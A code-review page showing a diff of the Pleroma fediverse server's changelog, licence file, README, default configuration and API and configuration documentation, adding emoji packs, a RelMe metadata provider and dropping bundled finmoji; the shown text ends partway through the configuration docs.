No OneTemporary
Actions

Size

786 KB

Referenced Files

None

Subscribers

None

View Options

This file is larger than 256 KB, so syntax highlighting was skipped.

	diff --git a/CHANGELOG.md b/CHANGELOG.md
	index 21ad83a01..ed078bc69 100644
	--- a/CHANGELOG.md
	+++ b/CHANGELOG.md
	@@ -1,94 +1,101 @@
	# Changelog
	All notable changes to this project will be documented in this file.

	The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).

	## [unreleased]
	### Added
	- LDAP authentication
	- External OAuth provider authentication
	- A [job queue](https://git.pleroma.social/pleroma/pleroma_job_queue) for federation, emails, web push, etc.
	- [Prometheus](https://prometheus.io/) metrics
	- Support for Mastodon's remote interaction
	+- Mix Tasks: `mix pleroma.database remove_embedded_objects`
	- Federation: Support for reports
	- Configuration: `safe_dm_mentions` option
	- Configuration: `link_name` option
	- Configuration: `fetch_initial_posts` option
	- Configuration: `notify_email` option
	- Pleroma API: User subscribtions
	- Admin API: Endpoints for listing/revoking invite tokens
	- Admin API: Endpoints for making users follow/unfollow each other
	- Mastodon API: [Scheduled statuses](https://docs.joinmastodon.org/api/rest/scheduled-statuses/)
	- Mastodon API: `/api/v1/notifications/destroy_multiple` (glitch-soc extension)
	- Mastodon API: [Reports](https://docs.joinmastodon.org/api/rest/reports/)
	- ActivityPub C2S: OAuth endpoints
	+- Metadata RelMe provider
	+- Emoji packs and emoji pack manager

	### Changed
	- Breaking: Configuration: move from Pleroma.Mailer to Pleroma.Emails.Mailer
	- Enforcement of OAuth scopes
	- Add multiple use/time expiring invite token
	- Restyled OAuth pages to fit with Pleroma's default theme
	- Link/mention/hashtag detection is now handled by [auto_linker](https://git.pleroma.social/pleroma/auto_linker)
	- NodeInfo: Return `safe_dm_mentions` feature flag
	- Federation: Expand the audience of delete activities to all recipients of the deleted object
	- Federation: Removed `inReplyToStatusId` from objects
	- Configuration: Dedupe enabled by default
	- Configuration: Added `extra_cookie_attrs` for setting non-standard cookie attributes. Defaults to ["SameSite=Lax"] so that remote follows work.
	- Pleroma API: Support for emoji tags in `/api/pleroma/emoji` resulting in a breaking API change
	- Mastodon API: Support for `exclude_types`, `limit` and `min_id` in `/api/v1/notifications`
	- Mastodon API: Add `languages` and `registrations` to `/api/v1/instance`
	- Mastodon API: Provide plaintext versions of cw/content in the Status entity
	- Mastodon API: Add `pleroma.conversation_id` field to the Status entity
	- Mastodon API: Add `pleroma.tags`, `pleroma.relationship{}`, `pleroma.is_moderator`, `pleroma.is_admin`, `pleroma.confirmation_pending` fields to the User entity
	- Mastodon API: Add `pleroma.is_seen` to the Notification entity
	- Mastodon API: Add `pleroma.local` to the Status entity
	- Mastodon API: Add `preview` parameter to `POST /api/v1/statuses`
	- Mastodon API: Add `with_muted` parameter to timeline endpoints
	- Mastodon API: Actual reblog hiding instead of a dummy
	- Mastodon API: Remove attachment limit in the Status entity
	- Deps: Updated Cowboy to 2.6
	- Deps: Updated Ecto to 3.0.7
	+- Don't ship finmoji by default, they can be installed as an emoji pack

	### Fixed
	- Followers counter not being updated when a follower is blocked
	- Deactivated users being able to request an access token
	- Limit on request body in rich media/relme parsers being ignored resulting in a possible memory leak
	- proper Twitter Card generation instead of a dummy
	- NodeInfo: Include admins in `staffAccounts`
	- ActivityPub: Crashing when requesting empty local user's outbox
	- Federation: Handling of objects without `summary` property
	- Federation: Add a language tag to activities as required by ActivityStreams 2.0
	- Federation: Do not federate avatar/banner if set to default allowing other servers/clients to use their defaults
	- Federation: Cope with missing or explicitly nulled address lists
	- Federation: Explicitly ensure activities addressed to `as:Public` become addressed to the followers collection
	- Federation: Better cope with actors which do not declare a followers collection and use `as:Public` with these semantics
	- MediaProxy: Parse name from content disposition headers even for non-whitelisted types
	- MediaProxy: S3 link encoding
	- Rich Media: Reject any data which cannot be explicitly encoded into JSON
	+- Pleroma API: Importing follows from Mastodon 2.8+
	- Mastodon API: `/api/v1/favourites` serving only public activities
	- Mastodon API: Reblogs having `in_reply_to_id` - `null` even when they are replies
	- Mastodon API: Streaming API broadcasting wrong activity id
	- Mastodon API: 500 errors when requesting a card for a private conversation
	+- Mastodon API: Handling of `reblogs` in `/api/v1/accounts/:id/follow`
	+- Mastodon API: Correct `reblogged`, `favourited`, and `bookmarked` values in the reblog status JSON

	## [0.9.9999] - 2019-04-05
	### Security
	- Mastodon API: Fix content warnings skipping HTML sanitization

	## [0.9.999] - 2019-03-13
	Frontend changes only.
	### Added
	- Added floating action button for posting status on mobile
	### Changed
	- Changed user-settings icon to a pencil
	### Fixed
	- Keyboard shortcuts activating when typing a message
	- Gaps when scrolling down on a timeline after showing new

	## [0.9.99] - 2019-03-08
	### Changed
	- Update the frontend to the 0.9.99 tag
	### Fixed
	- Sign the date header in federation to fix Mastodon federation.

	## [0.9.9] - 2019-02-22
	This is our first stable release.
	diff --git a/COPYING b/COPYING
	index ceec519ae..eceb68efe 100644
	--- a/COPYING
	+++ b/COPYING
	@@ -1,48 +1,41 @@
	Unless otherwise stated this repository is copyright © 2017-2019
	Pleroma Authors <https://pleroma.social/>, and is distributed under
	The GNU Affero General Public License Version 3, you should have received a
	copy of the license file as AGPL-3.

	---

	The following files are copyright © 2019 shitposter.club, and are distributed
	under the Creative Commons Attribution-ShareAlike 4.0 International license,
	you should have received a copy of the license file as CC-BY-SA-4.0.

	priv/static/images/pleroma-fox-tan.png
	priv/static/images/pleroma-fox-tan-smol.png
	priv/static/images/pleroma-tan.png

	---

	The following files are copyright © 2017-2019 Pleroma Authors
	<https://pleroma.social/>, and are distributed under the Creative Commons
	Attribution-ShareAlike 4.0 International license, you should have received
	a copy of the license file as CC-BY-SA-4.0.

	priv/static/images/avi.png
	priv/static/images/banner.png
	priv/static/instance/thumbnail.jpeg

	---

	All photos published on Unsplash can be used for free. You can use them for
	commercial and noncommercial purposes. You do not need to ask permission from
	or provide credit to the photographer or Unsplash, although it is appreciated
	when possible.

	More precisely, Unsplash grants you an irrevocable, nonexclusive, worldwide
	copyright license to download, copy, modify, distribute, perform, and use
	photos from Unsplash for free, including for commercial purposes, without
	permission from or attributing the photographer or Unsplash. This license
	does not include the right to compile photos from Unsplash to replicate
	a similar or competing service.

	priv/static/images/city.jpg
	-
	----
	-
	-The files present under the priv/static/finmoji directory are copyright
	-Finland <https://finland.fi/emoji/>, and are distributed under the Creative
	-Commons Attribution-NonCommercial-NoDerivatives 4.0 International license, you
	-should have received a copy of the license file as CC-BY-NC-ND-4.0.
	diff --git a/README.md b/README.md
	index c45190fc3..987f973ea 100644
	--- a/README.md
	+++ b/README.md
	@@ -1,77 +1,77 @@
	# Pleroma

	-Note: This readme as well as complete documentation is also availible at <https://docs-develop.pleroma.social>
	+Note: This readme as well as complete documentation is also available at <https://docs-develop.pleroma.social>

	## About Pleroma

	Pleroma is a microblogging server software that can federate (= exchange messages with) other servers that support the same federation standards (OStatus and ActivityPub). What that means is that you can host a server for yourself or your friends and stay in control of your online identity, but still exchange messages with people on larger servers. Pleroma will federate with all servers that implement either OStatus or ActivityPub, like Friendica, GNU Social, Hubzilla, Mastodon, Misskey, Peertube, and Pixelfed.

	Pleroma is written in Elixir, high-performance and can run on small devices like a Raspberry Pi.

	For clients it supports both the [GNU Social API with Qvitter extensions](https://twitter-api.readthedocs.io/en/latest/index.html) and the [Mastodon client API](https://docs.joinmastodon.org/api/guidelines/).

	- [Client Applications for Pleroma](https://docs-develop.pleroma.social/clients.html)

	No release has been made yet, but several servers have been online for months already. If you want to run your own server, feel free to contact us at @lain@pleroma.soykaf.com or in our dev chat at #pleroma on freenode or via matrix at <https://matrix.heldscal.la/#/room/#freenode_#pleroma:matrix.org>.

	## Installation

	### Docker

	While we don’t provide docker files, other people have written very good ones. Take a look at <https://github.com/angristan/docker-pleroma> or <https://github.com/sn0w/pleroma-docker>.

	### Dependencies

	* Postgresql version 9.6 or newer
	* Elixir version 1.7 or newer. If your distribution only has an old version available, check [Elixir’s install page](https://elixir-lang.org/install.html) or use a tool like [asdf](https://github.com/asdf-vm/asdf).
	* Build-essential tools

	### Configuration

	* Run `mix deps.get` to install elixir dependencies.
	* Run `mix pleroma.instance gen`. This will ask you questions about your instance and generate a configuration file in `config/generated_config.exs`. Check that and copy it to either `config/dev.secret.exs` or `config/prod.secret.exs`. It will also create a `config/setup_db.psql`, which you should run as the PostgreSQL superuser (i.e., `sudo -u postgres psql -f config/setup_db.psql`). It will create the database, user, and password you gave `mix pleroma.gen.instance` earlier, as well as set up the necessary extensions in the database. PostgreSQL superuser privileges are only needed for this step.
	* For these next steps, the default will be to run pleroma using the dev configuration file, `config/dev.secret.exs`. To run them using the prod config file, prefix each command at the shell with `MIX_ENV=prod`. For example: `MIX_ENV=prod mix phx.server`. Documentation for the config can be found at [`docs/config.md`](docs/config.md) in the repository, or at the "Configuration" page on <https://docs-develop.pleroma.social/config.html>
	* Run `mix ecto.migrate` to run the database migrations. You will have to do this again after certain updates.
	* You can check if your instance is configured correctly by running it with `mix phx.server` and checking the instance info endpoint at `/api/v1/instance`. If it shows your uri, name and email correctly, you are configured correctly. If it shows something like `localhost:4000`, your configuration is probably wrong, unless you are running a local development setup.
	* The common and convenient way for adding HTTPS is by using Nginx as a reverse proxy. You can look at example Nginx configuration in `installation/pleroma.nginx`. If you need TLS/SSL certificates for HTTPS, you can look get some for free with letsencrypt: <https://letsencrypt.org/>. The simplest way to obtain and install a certificate is to use [Certbot.](https://certbot.eff.org) Depending on your specific setup, certbot may be able to get a certificate and configure your web server automatically.

	## Running

	* By default, it listens on port 4000 (TCP), so you can access it on <http://localhost:4000/> (if you are on the same machine). In case of an error it will restart automatically.

	### Frontends

	Pleroma comes with two frontends. The first one, Pleroma FE, can be reached by normally visiting the site. The other one, based on the Mastodon project, can be found by visiting the /web path of your site.

	### As systemd service (with provided .service file)

	Example .service file can be found in `installation/pleroma.service`. Copy this to `/etc/systemd/system/`. Running `systemctl enable --now pleroma.service` will run Pleroma and enable startup on boot. Logs can be watched by using `journalctl -fu pleroma.service`.

	### As OpenRC service (with provided RC file)

	Copy `installation/init.d/pleroma` to `/etc/init.d/pleroma`. You can add it to the services ran by default with: `rc-update add pleroma`

	### Standalone/run by other means

	Run `mix phx.server` in repository’s root, it will output log into stdout/stderr.

	### Using an upstream proxy for federation

	Add the following to your `dev.secret.exs` or `prod.secret.exs` if you want to proxify all http requests that Pleroma makes to an upstream proxy server:

	```elixir
	config :pleroma, :http,
	proxy_url: "127.0.0.1:8123"
	```

	This is useful for running Pleroma inside Tor or I2P.

	## Customization and contribution

	The [Pleroma Documentation](https://docs-develop.pleroma.social/readme.html) offers manuals and guides on how to further customize your instance to your liking and how you can contribute to the project.

	## Troubleshooting

	### No incoming federation

	Check that you correctly forward the `host` header to the backend. It is needed to validate signatures.
	diff --git a/config/config.exs b/config/config.exs
	index 595e3505c..9f2244222 100644
	--- a/config/config.exs
	+++ b/config/config.exs
	@@ -1,469 +1,470 @@
	# .i;;;;i.
	# iYcviii;vXY:
	# .YXi .i1c.
	# .YC. . in7.
	# .vc. ...... ;1c.
	# i7, .. .;1;
	# i7, .. ... .Y1i
	# ,7v .6MMM@; .YX,
	# .7;. ..IMMMMMM1 :t7.
	# .;Y. ;$MMMMMM9. :tc.
	# vY. .. .nMMM@MMU. ;1v.
	# i7i ... .#MM@M@C. .....:71i
	# it: .... $MMM@9;.,i;;;i,;tti
	# :t7. ..... 0MMMWv.,iii:::,,;St.
	# .nC. ..... IMMMQ..,::::::,.,czX.
	# .ct: ....... .ZMMMI..,:::::::,,:76Y.
	# c2: ......,i..Y$M@t..:::::::,,..inZY
	# vov ......:ii..c$MBc..,,,,,,,,,,..iI9i
	# i9Y ......iii:..7@MA,..,,,,,,,,,....;AA:
	# iIS. ......:ii::..;@MI....,............;Ez.
	# .I9. ......:i::::...8M1..................C0z.
	# .z9; ......:i::::,.. .i:...................zWX.
	# vbv ......,i::::,,. ................. :AQY
	# c6Y. .,...,::::,,..:t0@@QY. ................ :8bi
	# :6S. ..,,...,:::,,,..EMMMMMMI. ............... .;bZ,
	# :6o, .,,,,..:::,,,..i#MMMMMM#v................. YW2.
	# .n8i ..,,,,,,,::,,,,.. tMMMMM@C:.................. .1Wn
	# 7Uc. .:::,,,,,::,,,,.. i1t;,..................... .UEi
	# 7C...::::::::::::,,,,.. .................... vSi.
	# ;1;...,,::::::,......... .................. Yz:
	# v97,......... .voC.
	# izAotX7777777777777777777777777777777777777777Y7n92:
	# .;CoIIIIIUAA666666699999ZZZZZZZZZZZZZZZZZZZZ6ov.
	#
	# !!! ATTENTION !!!
	# DO NOT EDIT THIS FILE! THIS FILE CONTAINS THE DEFAULT VALUES FOR THE CON-
	# FIGURATION! EDIT YOUR SECRET FILE (either prod.secret.exs, dev.secret.exs).
	#
	# This file is responsible for configuring your application
	# and its dependencies with the aid of the Mix.Config module.
	#
	# This configuration file is loaded before any dependency and
	# is restricted to this project.
	use Mix.Config

	# General application configuration
	config :pleroma, ecto_repos: [Pleroma.Repo]

	config :pleroma, Pleroma.Repo,
	types: Pleroma.PostgresTypes,
	telemetry_event: [Pleroma.Repo.Instrumenter]

	config :pleroma, Pleroma.Captcha,
	enabled: false,
	seconds_valid: 60,
	method: Pleroma.Captcha.Kocaptcha

	config :pleroma, :hackney_pools,
	federation: [
	max_connections: 50,
	timeout: 150_000
	],
	media: [
	max_connections: 50,
	timeout: 150_000
	],
	upload: [
	max_connections: 25,
	timeout: 300_000
	]

	config :pleroma, Pleroma.Captcha.Kocaptcha, endpoint: "https://captcha.kotobank.ch"

	# Upload configuration
	config :pleroma, Pleroma.Upload,
	uploader: Pleroma.Uploaders.Local,
	filters: [Pleroma.Upload.Filter.Dedupe],
	link_name: true,
	proxy_remote: false,
	proxy_opts: [
	redirect_on_failure: false,
	max_body_length: 25 * 1_048_576,
	http: [
	follow_redirect: true,
	pool: :upload
	]
	]

	config :pleroma, Pleroma.Uploaders.Local, uploads: "uploads"

	config :pleroma, Pleroma.Uploaders.S3,
	bucket: nil,
	public_endpoint: "https://s3.amazonaws.com"

	config :pleroma, Pleroma.Uploaders.MDII,
	cgi: "https://mdii.sakura.ne.jp/mdii-post.cgi",
	files: "https://mdii.sakura.ne.jp"

	config :pleroma, :emoji,
	shortcode_globs: ["/emoji/custom/*/.png"],
	groups: [
	# Put groups that have higher priority than defaults here. Example in `docs/config/custom_emoji.md`
	- Finmoji: "/finmoji/128px/*-128.png",
	- Custom: ["/emoji/.png", "/emoji/custom/.png"]
	- ]
	+ Custom: ["/emoji/.png", "/emoji//.png"]
	+ ],
	+ default_manifest: "https://git.pleroma.social/pleroma/emoji-index/raw/master/index.json"

	config :pleroma, :uri_schemes,
	valid_schemes: [
	"https",
	"http",
	"dat",
	"dweb",
	"gopher",
	"ipfs",
	"ipns",
	"irc",
	"ircs",
	"magnet",
	"mailto",
	"mumble",
	"ssb",
	"xmpp"
	]

	websocket_config = [
	path: "/websocket",
	serializer: [
	{Phoenix.Socket.V1.JSONSerializer, "~> 1.0.0"},
	{Phoenix.Socket.V2.JSONSerializer, "~> 2.0.0"}
	],
	timeout: 60_000,
	transport_log: false,
	compress: false
	]

	# Configures the endpoint
	config :pleroma, Pleroma.Web.Endpoint,
	instrumenters: [Pleroma.Web.Endpoint.Instrumenter],
	url: [host: "localhost"],
	http: [
	dispatch: [
	{:_,
	[
	{"/api/v1/streaming", Pleroma.Web.MastodonAPI.WebsocketHandler, []},
	{"/websocket", Phoenix.Endpoint.CowboyWebSocket,
	{Phoenix.Transports.WebSocket,
	{Pleroma.Web.Endpoint, Pleroma.Web.UserSocket, websocket_config}}},
	{:_, Phoenix.Endpoint.Cowboy2Handler, {Pleroma.Web.Endpoint, []}}
	]}
	]
	],
	protocol: "https",
	secret_key_base: "aK4Abxf29xU9TTDKre9coZPUgevcVCFQJe/5xP/7Lt4BEif6idBIbjupVbOrbKxl",
	signing_salt: "CqaoopA2",
	render_errors: [view: Pleroma.Web.ErrorView, accepts: ~w(json)],
	pubsub: [name: Pleroma.PubSub, adapter: Phoenix.PubSub.PG2],
	secure_cookie_flag: true,
	extra_cookie_attrs: [
	"SameSite=Lax"
	]

	# Configures Elixir's Logger
	config :logger, :console,
	format: "$time $metadata[$level] $message\n",
	metadata: [:request_id]

	config :logger, :ex_syslogger,
	level: :debug,
	ident: "Pleroma",
	format: "$metadata[$level] $message",
	metadata: [:request_id]

	config :quack,
	level: :warn,
	meta: [:all],
	webhook_url: "https://hooks.slack.com/services/YOUR-KEY-HERE"

	config :mime, :types, %{
	"application/xml" => ["xml"],
	"application/xrd+xml" => ["xrd+xml"],
	"application/jrd+json" => ["jrd+json"],
	"application/activity+json" => ["activity+json"],
	"application/ld+json" => ["activity+json"]
	}

	config :pleroma, :websub, Pleroma.Web.Websub
	config :pleroma, :ostatus, Pleroma.Web.OStatus
	config :pleroma, :httpoison, Pleroma.HTTP
	config :tesla, adapter: Tesla.Adapter.Hackney

	# Configures http settings, upstream proxy etc.
	config :pleroma, :http,
	proxy_url: nil,
	adapter: [
	ssl_options: [
	# We don't support TLS v1.3 yet
	versions: [:tlsv1, :"tlsv1.1", :"tlsv1.2"]
	]
	]

	config :pleroma, :instance,
	name: "Pleroma",
	email: "example@example.com",
	notify_email: "noreply@example.com",
	description: "A Pleroma instance, an alternative fediverse server",
	limit: 5_000,
	remote_limit: 100_000,
	upload_limit: 16_000_000,
	avatar_upload_limit: 2_000_000,
	background_upload_limit: 4_000_000,
	banner_upload_limit: 4_000_000,
	registrations_open: true,
	federating: true,
	federation_reachability_timeout_days: 7,
	allow_relay: true,
	rewrite_policy: Pleroma.Web.ActivityPub.MRF.NoOpPolicy,
	public: true,
	quarantined_instances: [],
	managed_config: true,
	static_dir: "instance/static/",
	allowed_post_formats: [
	"text/plain",
	"text/html",
	"text/markdown"
	],
	- finmoji_enabled: true,
	mrf_transparency: true,
	autofollowed_nicknames: [],
	max_pinned_statuses: 1,
	no_attachment_links: false,
	welcome_user_nickname: nil,
	welcome_message: nil,
	max_report_comment_size: 1000,
	safe_dm_mentions: false

	config :pleroma, :markup,
	# XXX - unfortunately, inline images must be enabled by default right now, because
	# of custom emoji. Issue #275 discusses defanging that somehow.
	allow_inline_images: true,
	allow_headings: false,
	allow_tables: false,
	allow_fonts: false,
	scrub_policy: [
	Pleroma.HTML.Transform.MediaProxy,
	Pleroma.HTML.Scrubber.Default
	]

	# Deprecated, will be gone in 1.0
	config :pleroma, :fe,
	theme: "pleroma-dark",
	logo: "/static/logo.png",
	logo_mask: true,
	logo_margin: "0.1em",
	background: "/static/aurora_borealis.jpg",
	redirect_root_no_login: "/main/all",
	redirect_root_login: "/main/friends",
	show_instance_panel: true,
	scope_options_enabled: false,
	formatting_options_enabled: false,
	collapse_message_with_subject: false,
	hide_post_stats: false,
	hide_user_stats: false,
	scope_copy: true,
	subject_line_behavior: "email",
	always_show_subject_input: true

	config :pleroma, :frontend_configurations,
	pleroma_fe: %{
	theme: "pleroma-dark",
	logo: "/static/logo.png",
	background: "/images/city.jpg",
	redirectRootNoLogin: "/main/all",
	redirectRootLogin: "/main/friends",
	showInstanceSpecificPanel: true,
	scopeOptionsEnabled: false,
	formattingOptionsEnabled: false,
	collapseMessageWithSubject: false,
	hidePostStats: false,
	hideUserStats: false,
	scopeCopy: true,
	subjectLineBehavior: "email",
	alwaysShowSubjectInput: true
	},
	masto_fe: %{
	showInstanceSpecificPanel: true
	}

	config :pleroma, :activitypub,
	accept_blocks: true,
	unfollow_blocked: true,
	outgoing_blocks: true,
	follow_handshake_timeout: 500

	config :pleroma, :user, deny_follow_blocked: true

	config :pleroma, :mrf_normalize_markup, scrub_policy: Pleroma.HTML.Scrubber.Default

	config :pleroma, :mrf_rejectnonpublic,
	allow_followersonly: false,
	allow_direct: false

	config :pleroma, :mrf_hellthread,
	delist_threshold: 10,
	reject_threshold: 20

	config :pleroma, :mrf_simple,
	media_removal: [],
	media_nsfw: [],
	federated_timeline_removal: [],
	reject: [],
	accept: []

	config :pleroma, :mrf_keyword,
	reject: [],
	federated_timeline_removal: [],
	replace: []

	config :pleroma, :rich_media, enabled: true

	config :pleroma, :media_proxy,
	enabled: false,
	proxy_opts: [
	redirect_on_failure: false,
	max_body_length: 25 * 1_048_576,
	http: [
	follow_redirect: true,
	pool: :media
	]
	]

	config :pleroma, :chat, enabled: true

	config :phoenix, :format_encoders, json: Jason

	config :pleroma, :gopher,
	enabled: false,
	ip: {0, 0, 0, 0},
	port: 9999

	-config :pleroma, Pleroma.Web.Metadata, providers: [], unfurl_nsfw: false
	+config :pleroma, Pleroma.Web.Metadata,
	+ providers: [Pleroma.Web.Metadata.Providers.RelMe],
	+ unfurl_nsfw: false

	config :pleroma, :suggestions,
	enabled: false,
	third_party_engine:
	"http://vinayaka.distsn.org/cgi-bin/vinayaka-user-match-suggestions-api.cgi?{{host}}+{{user}}",
	timeout: 300_000,
	limit: 23,
	web: "https://vinayaka.distsn.org/?{{host}}+{{user}}"

	config :pleroma, :http_security,
	enabled: true,
	sts: false,
	sts_max_age: 31_536_000,
	ct_max_age: 2_592_000,
	referrer_policy: "same-origin"

	config :cors_plug,
	max_age: 86_400,
	methods: ["POST", "PUT", "DELETE", "GET", "PATCH", "OPTIONS"],
	expose: [
	"Link",
	"X-RateLimit-Reset",
	"X-RateLimit-Limit",
	"X-RateLimit-Remaining",
	"X-Request-Id",
	"Idempotency-Key"
	],
	credentials: true,
	headers: ["Authorization", "Content-Type", "Idempotency-Key"]

	config :pleroma, Pleroma.User,
	restricted_nicknames: [
	".well-known",
	"~",
	"about",
	"activities",
	"api",
	"auth",
	"dev",
	"friend-requests",
	"inbox",
	"internal",
	"main",
	"media",
	"nodeinfo",
	"notice",
	"oauth",
	"objects",
	"ostatus_subscribe",
	"pleroma",
	"proxy",
	"push",
	"registration",
	"relay",
	"settings",
	"status",
	"tag",
	"user-search",
	"users",
	"web"
	]

	config :pleroma, Pleroma.Web.Federator.RetryQueue,
	enabled: false,
	max_jobs: 20,
	initial_timeout: 30,
	max_retries: 5

	config :pleroma_job_queue, :queues,
	federator_incoming: 50,
	federator_outgoing: 50,
	web_push: 50,
	mailer: 10,
	transmogrifier: 20,
	scheduled_activities: 10

	config :pleroma, :fetch_initial_posts,
	enabled: false,
	pages: 5

	config :auto_linker,
	opts: [
	scheme: true,
	extra: true,
	class: false,
	strip_prefix: false,
	new_window: false,
	rel: false
	]

	config :pleroma, :ldap,
	enabled: System.get_env("LDAP_ENABLED") == "true",
	host: System.get_env("LDAP_HOST") \|\| "localhost",
	port: String.to_integer(System.get_env("LDAP_PORT") \|\| "389"),
	ssl: System.get_env("LDAP_SSL") == "true",
	sslopts: [],
	tls: System.get_env("LDAP_TLS") == "true",
	tlsopts: [],
	base: System.get_env("LDAP_BASE") \|\| "dc=example,dc=com",
	uid: System.get_env("LDAP_UID") \|\| "cn"

	oauth_consumer_strategies = String.split(System.get_env("OAUTH_CONSUMER_STRATEGIES") \|\| "")

	ueberauth_providers =
	for strategy <- oauth_consumer_strategies do
	strategy_module_name = "Elixir.Ueberauth.Strategy.#{String.capitalize(strategy)}"
	strategy_module = String.to_atom(strategy_module_name)
	{String.to_atom(strategy), {strategy_module, [callback_params: ["state"]]}}
	end

	config :ueberauth,
	Ueberauth,
	base_path: "/oauth",
	providers: ueberauth_providers

	config :pleroma, :auth, oauth_consumer_strategies: oauth_consumer_strategies

	config :pleroma, Pleroma.Emails.Mailer, adapter: Swoosh.Adapters.Sendmail

	config :prometheus, Pleroma.Web.Endpoint.MetricsExporter, path: "/api/pleroma/app_metrics"

	config :pleroma, Pleroma.ScheduledActivity,
	daily_user_limit: 25,
	total_user_limit: 300,
	enabled: true

	# Import environment specific config. This must remain at the bottom
	# of this file so it overrides the configuration defined above.
	import_config "#{Mix.env()}.exs"
	diff --git a/docs/api/differences_in_mastoapi_responses.md b/docs/api/differences_in_mastoapi_responses.md
	index ed3fd9b67..63644fc56 100644
	--- a/docs/api/differences_in_mastoapi_responses.md
	+++ b/docs/api/differences_in_mastoapi_responses.md
	@@ -1,60 +1,61 @@
	# Differences in Mastodon API responses from vanilla Mastodon

	A Pleroma instance can be identified by "<Mastodon version> (compatible; Pleroma <version>)" present in `version` field in response from `/api/v1/instance`

	## Flake IDs

	Pleroma uses 128-bit ids as opposed to Mastodon's 64 bits. However just like Mastodon's ids they are sortable strings

	## Attachment cap

	Some apps operate under the assumption that no more than 4 attachments can be returned or uploaded. Pleroma however does not enforce any limits on attachment count neither when returning the status object nor when posting.

	## Timelines

	Adding the parameter `with_muted=true` to the timeline queries will also return activities by muted (not by blocked!) users.

	## Statuses

	Has these additional fields under the `pleroma` object:

	- `local`: true if the post was made on the local instance.
	- `conversation_id`: the ID of the conversation the status is associated with (if any)
	- `content`: a map consisting of alternate representations of the `content` property with the key being it's mimetype. Currently the only alternate representation supported is `text/plain`
	- `spoiler_text`: a map consisting of alternate representations of the `spoiler_text` property with the key being it's mimetype. Currently the only alternate representation supported is `text/plain`

	## Attachments

	Has these additional fields under the `pleroma` object:

	- `mime_type`: mime type of the attachment.

	## Accounts

	- `/api/v1/accounts/:id`: The `id` parameter can also be the `nickname` of the user. This only works in this endpoint, not the deeper nested ones for following etc.

	Has these additional fields under the `pleroma` object:

	- `tags`: Lists an array of tags for the user
	- `relationship{}`: Includes fields as documented for Mastodon API https://docs.joinmastodon.org/api/entities/#relationship
	- `is_moderator`: boolean, true if user is a moderator
	- `is_admin`: boolean, true if user is an admin
	- `confirmation_pending`: boolean, true if a new user account is waiting on email confirmation to be activated

	## Account Search

	Behavior has changed:

	- `/api/v1/accounts/search`: Does not require authentication

	## Notifications

	Has these additional fields under the `pleroma` object:

	- `is_seen`: true if the notification was read by the user

	## POST `/api/v1/statuses`

	Additional parameters can be added to the JSON body/Form data:

	- `preview`: boolean, if set to `true` the post won't be actually posted, but the status entitiy would still be rendered back. This could be useful for previewing rich text/custom emoji, for example.
	+- `content_type`: string, contain the MIME type of the status, it is transformed into HTML by the backend. You can get the list of the supported MIME types with the nodeinfo endpoint.
	diff --git a/docs/config.md b/docs/config.md
	index d618c5dde..ccf744f42 100644
	--- a/docs/config.md
	+++ b/docs/config.md
	@@ -1,488 +1,488 @@
	# Configuration

	This file describe the configuration, it is recommended to edit the relevant *.secret.exs file instead of the others founds in the ``config`` directory.
	If you run Pleroma with ``MIX_ENV=prod`` the file is ``prod.secret.exs``, otherwise it is ``dev.secret.exs``.

	## Pleroma.Upload
	* `uploader`: Select which `Pleroma.Uploaders` to use
	* `filters`: List of `Pleroma.Upload.Filter` to use.
	* `link_name`: When enabled Pleroma will add a `name` parameter to the url of the upload, for example `https://instance.tld/media/corndog.png?name=corndog.png`. This is needed to provide the correct filename in Content-Disposition headers when using filters like `Pleroma.Upload.Filter.Dedupe`
	* `base_url`: The base URL to access a user-uploaded file. Useful when you want to proxy the media files via another host.
	* `proxy_remote`: If you\'re using a remote uploader, Pleroma will proxy media requests instead of redirecting to it.
	* `proxy_opts`: Proxy options, see `Pleroma.ReverseProxy` documentation.

	Note: `strip_exif` has been replaced by `Pleroma.Upload.Filter.Mogrify`.

	## Pleroma.Uploaders.Local
	* `uploads`: Which directory to store the user-uploads in, relative to pleroma’s working directory

	## Pleroma.Upload.Filter.Mogrify

	* `args`: List of actions for the `mogrify` command like `"strip"` or `["strip", "auto-orient", {"impode", "1"}]`.

	## Pleroma.Upload.Filter.Dedupe

	No specific configuration.

	## Pleroma.Upload.Filter.AnonymizeFilename

	This filter replaces the filename (not the path) of an upload. For complete obfuscation, add
	`Pleroma.Upload.Filter.Dedupe` before AnonymizeFilename.

	* `text`: Text to replace filenames in links. If empty, `{random}.extension` will be used.

	## Pleroma.Emails.Mailer
	* `adapter`: one of the mail adapters listed in [Swoosh readme](https://github.com/swoosh/swoosh#adapters), or `Swoosh.Adapters.Local` for in-memory mailbox.
	* `api_key` / `password` and / or other adapter-specific settings, per the above documentation.

	An example for Sendgrid adapter:

	```exs
	config :pleroma, Pleroma.Emails.Mailer,
	adapter: Swoosh.Adapters.Sendgrid,
	api_key: "YOUR_API_KEY"
	```

	An example for SMTP adapter:

	```exs
	config :pleroma, Pleroma.Emails.Mailer,
	adapter: Swoosh.Adapters.SMTP,
	relay: "smtp.gmail.com",
	username: "YOUR_USERNAME@gmail.com",
	password: "YOUR_SMTP_PASSWORD",
	port: 465,
	ssl: true,
	tls: :always,
	auth: :always
	```

	## :uri_schemes
	* `valid_schemes`: List of the scheme part that is considered valid to be an URL

	## :instance
	* `name`: The instance’s name
	* `email`: Email used to reach an Administrator/Moderator of the instance
	* `notify_email`: Email used for notifications.
	* `description`: The instance’s description, can be seen in nodeinfo and ``/api/v1/instance``
	* `limit`: Posts character limit (CW/Subject included in the counter)
	* `remote_limit`: Hard character limit beyond which remote posts will be dropped.
	* `upload_limit`: File size limit of uploads (except for avatar, background, banner)
	* `avatar_upload_limit`: File size limit of user’s profile avatars
	* `background_upload_limit`: File size limit of user’s profile backgrounds
	* `banner_upload_limit`: File size limit of user’s profile banners
	* `registrations_open`: Enable registrations for anyone, invitations can be enabled when false.
	* `invites_enabled`: Enable user invitations for admins (depends on `registrations_open: false`).
	* `account_activation_required`: Require users to confirm their emails before signing in.
	* `federating`: Enable federation with other instances
	* `federation_reachability_timeout_days`: Timeout (in days) of each external federation target being unreachable prior to pausing federating to it.
	* `allow_relay`: Enable Pleroma’s Relay, which makes it possible to follow a whole instance
	* `rewrite_policy`: Message Rewrite Policy, either one or a list. Here are the ones available by default:
	* `Pleroma.Web.ActivityPub.MRF.NoOpPolicy`: Doesn’t modify activities (default)
	* `Pleroma.Web.ActivityPub.MRF.DropPolicy`: Drops all activities. It generally doesn’t makes sense to use in production
